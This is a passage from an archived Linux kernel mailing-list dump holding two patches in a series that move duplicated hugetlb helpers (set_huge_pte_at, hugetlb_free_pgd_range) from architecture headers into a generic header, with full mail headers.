X-Trace: blaine.gmane.org 1530767516 31171 195.159.176.226 (5 Jul 2018 05:11:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:11:56 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:11:49 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawYX-0007yh-Gm
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:11:49 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=Al5OT+h7IGcwHrXG+g1e/+9sxm1CtD926Inoej+yyGU=; b=A8vrlrOMiCk1Xi5xmZlLz1/+/p
	O7l1ypTBkF08ZDrzhK8f8j/nAOcr2uMZ5+OPkPye9GZM5tljIfEKVJ3N5XvDC4/20qI3s1f4QSOoo
	hBArZWJ93tj/sKD5VtXDVDf3wT6tENEkBJMXNyiIkG3adetrwc/swsh7SAe4RLa43N7iawG2nAvJH
	Fa2HlhgjsjGEHqsVkFFZd3lSgVIvXfUu5IcPx8i97QfSVUCxQJuAyU/W37ZufrQsJklz5WrtTyzAs
	0YgvltxyOuqMTQmXXDTdBjRdgTHAD4LO000BuStUhTF+sPaOdzTMXsFOdRdroMc4cQ1tZXWNy79kf
	lQdbwE/w==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fawaa-0008S9-CH; Thu, 05 Jul 2018 05:13:56 +0000
Original-Received: from relay10.mail.gandi.net ([217.70.178.230])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fawaC-00081R-8e
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:13:34 +0000
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay10.mail.gandi.net (Postfix) with ESMTPSA id 78934240003;
 Thu,  5 Jul 2018 05:13:17 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051242.694-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_221332_740047_9DE96002 
X-CRM114-Status: UNSURE (   9.74  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660918 gmane.linux.kernel:2812031 gmane.linux.ports.ia64:28888 gmane.linux.ports.mips.general:65248 gmane.linux.ports.parisc:28739 gmane.linux.ports.ppc64.devel:159671 gmane.linux.ports.sh.devel:57161 gmane.linux.ports.sparc:28063 gmane.linux.kernel.cross-arch:45009
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660918>

arm, ia64, mips, powerpc, sh, x86 architectures use the
same version of set_huge_pte_at, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 6 ------
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 6 ------
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 +++++++-
 10 files changed, 10 insertions(+), 37 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index d4014fbe5ea3..398fb06e8207 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4af1a800a900..874661a1dff1 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 				struct page *page, int writable);
 #define arch_make_huge_pte arch_make_huge_pte
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index afe9fa4d969b..a235d6f60fb3 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 53764050243e..8ea439041d5d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 28c23b68d38d..77c8adbac7c3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -4,6 +4,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index de46ee16b615..ba7d5d8b543f 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,12 +132,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f6a51b609409..bc552e37c1c9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 59d89b52ccb7..16b0c53ea6c9 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
 extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 #endif
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 996ce8e15365..554d5614b375 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index c697ca9dda18..ee010b756246 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 {
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
+#endif
 
-
+#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
+static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		pte_t *ptep, pte_t pte)
+{
+	set_pte_at(mm, addr, ptep, pte);
+}
 #endif
 
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v2 02/11] hugetlb: Introduce generic version of
 hugetlb_free_pgd_range
Date: Thu,  5 Jul 2018 05:12:33 +0000
Lines: 305
Approved: news@gmane.org
Message-ID: <20180705051242.694-2-alex@ghiti.fr>
References: <20180705050323.301-1-alex@ghiti.fr>
 <20180705051242.694-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530767562 2520 195.159.176.226 (5 Jul 2018 05:12:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:12:42 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:12:35 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawZG-0000SR-MU
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:12:34 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=oD4GiQBSLLiFl+kGVb+aE7yPeG2jI08HcXcll4SKihI=; b=XUBfyaoW44oXn7cD085q/X6rJN
	OJEnkkdfZ+OuyCgfAtmc7T5xUI9ULahb6E6sNFtEdW8x8o37hKyK/7hP+hUHdwHRZr01xFvtlNSJV
	Loq9EAzA8BcBPDfpl67QrYzZy4jnmsqnnt5wTarKCirE91+TPwmyWSwH35H36Qbp3qVX96QMQE+FI
	gxo9keaC+xn2fJK4Jo3Zaem5Mo64JsYcfU1oRTSMb34QV/Sch6ihJvjmZho4fBQ/6aZX8aVpoADqc
	YFZ1CprvTwGWl91Mtzc/f7Cf/g5K5V1LPKGlj70coJHxgeHb+mhFEQ8ecS415UwNcrrRKrP4ik4Us
	NBR5jBvg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fawbI-0000ZJ-1Q; Thu, 05 Jul 2018 05:14:40 +0000
Original-Received: from relay10.mail.gandi.net ([217.70.178.230])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fawaC-000815-8p
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:13:36 +0000
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay10.mail.gandi.net (Postfix) with ESMTPSA id 87A60240009;
 Thu,  5 Jul 2018 05:13:12 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051242.694-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_221332_760494_8F8564D5 
X-CRM114-Status: GOOD (  10.25  )
X-Spam-Score: 0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660919 gmane.linux.kernel:2812032 gmane.linux.ports.ia64:28889 gmane.linux.ports.mips.general:65249 gmane.linux.ports.parisc:28740 gmane.linux.ports.ppc64.devel:159672 gmane.linux.ports.sh.devel:57162 gmane.linux.ports.sparc:28064 gmane.linux.kernel.cross-arch:45010
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660919>

arm, arm64, mips, parisc, sh, x86 architectures use the
same version of hugetlb_free_pgd_range, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb.h     | 12 ++----------
 arch/arm64/include/asm/hugetlb.h   | 10 ----------
 arch/ia64/include/asm/hugetlb.h    |  5 +++--
 arch/mips/include/asm/hugetlb.h    | 13 ++-----------
 arch/parisc/include/asm/hugetlb.h  | 12 ++----------
 arch/powerpc/include/asm/hugetlb.h |  4 +++-
 arch/sh/include/asm/hugetlb.h      | 12 ++----------
 arch/sparc/include/asm/hugetlb.h   |  4 +++-
 arch/x86/include/asm/hugetlb.h     | 11 ++---------
 include/asm-generic/hugetlb.h      | 11 +++++++++++
 10 files changed, 30 insertions(+), 64 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb.h b/arch/arm/include/asm/hugetlb.h
index 7d26f6c4f0f5..047b893ef95d 100644
--- a/arch/arm/include/asm/hugetlb.h
+++ b/arch/arm/include/asm/hugetlb.h
@@ -23,19 +23,9 @@
 #define _ASM_ARM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #include <asm/hugetlb-3level.h>
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
@@ -68,4 +58,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_ARM_HUGETLB_H */
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 3fcf14663dfa..4af1a800a900 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -25,16 +25,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return READ_ONCE(*ptep);
 }
 
-
-
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr, unsigned long len)
 {
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index 74d2a5540aaf..afe9fa4d969b 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -3,9 +3,8 @@
 #define _ASM_IA64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -70,4 +69,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_IA64_HUGETLB_H */
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 982bc0685330..53764050243e 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -10,8 +10,6 @@
 #define __ASM_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -38,15 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr,
-					  unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -114,4 +103,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* __ASM_HUGETLB_H */
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 58e0f4620426..28c23b68d38d 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -3,8 +3,6 @@
 #define _ASM_PARISC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
@@ -32,14 +30,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
@@ -71,4 +61,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_PARISC64_HUGETLB_H */
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 3225eb6402cc..de46ee16b615 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -4,7 +4,6 @@
 
 #ifdef CONFIG_HUGETLB_PAGE
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 extern struct kmem_cache *hugepte_cache;
 
@@ -113,6 +112,7 @@ static inline void flush_hugetlb_page(struct vm_area_struct *vma,
 void flush_hugetlb_page(struct vm_area_struct *vma, unsigned long vmaddr);
 #endif
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
@@ -193,4 +193,6 @@ static inline pte_t *hugepte_offset(hugepd_t hpd, unsigned long addr,
 }
 #endif /* CONFIG_HUGETLB_PAGE */
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_POWERPC_HUGETLB_H */
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index 735939c0f513..f6a51b609409 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -4,8 +4,6 @@
 
 #include <asm/cacheflush.h>
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
-
 
 static inline int is_hugepage_only_range(struct mm_struct *mm,
 					 unsigned long addr,
@@ -27,14 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -85,4 +75,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 	clear_bit(PG_dcache_clean, &page->flags);
 }
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SH_HUGETLB_H */
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 300557c66698..59d89b52ccb7 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_SPARC64_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #ifdef CONFIG_HUGETLB_PAGE
 struct pud_huge_patch_entry {
@@ -84,8 +83,11 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 {
 }
 
+#define __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
 void hugetlb_free_pgd_range(struct mmu_gather *tlb, unsigned long addr,
 			    unsigned long end, unsigned long floor,
 			    unsigned long ceiling);
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_SPARC64_HUGETLB_H */
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 5ed826da5e07..996ce8e15365 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -3,7 +3,6 @@
 #define _ASM_X86_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #define hugepages_supported() boot_cpu_has(X86_FEATURE_PSE)
 
@@ -28,14 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -90,4 +81,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 static inline bool gigantic_page_supported(void) { return true; }
 #endif
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_X86_HUGETLB_H */
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 3da7cff52360..c697ca9dda18 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+		unsigned long addr, unsigned long end,
+		unsigned long floor, unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
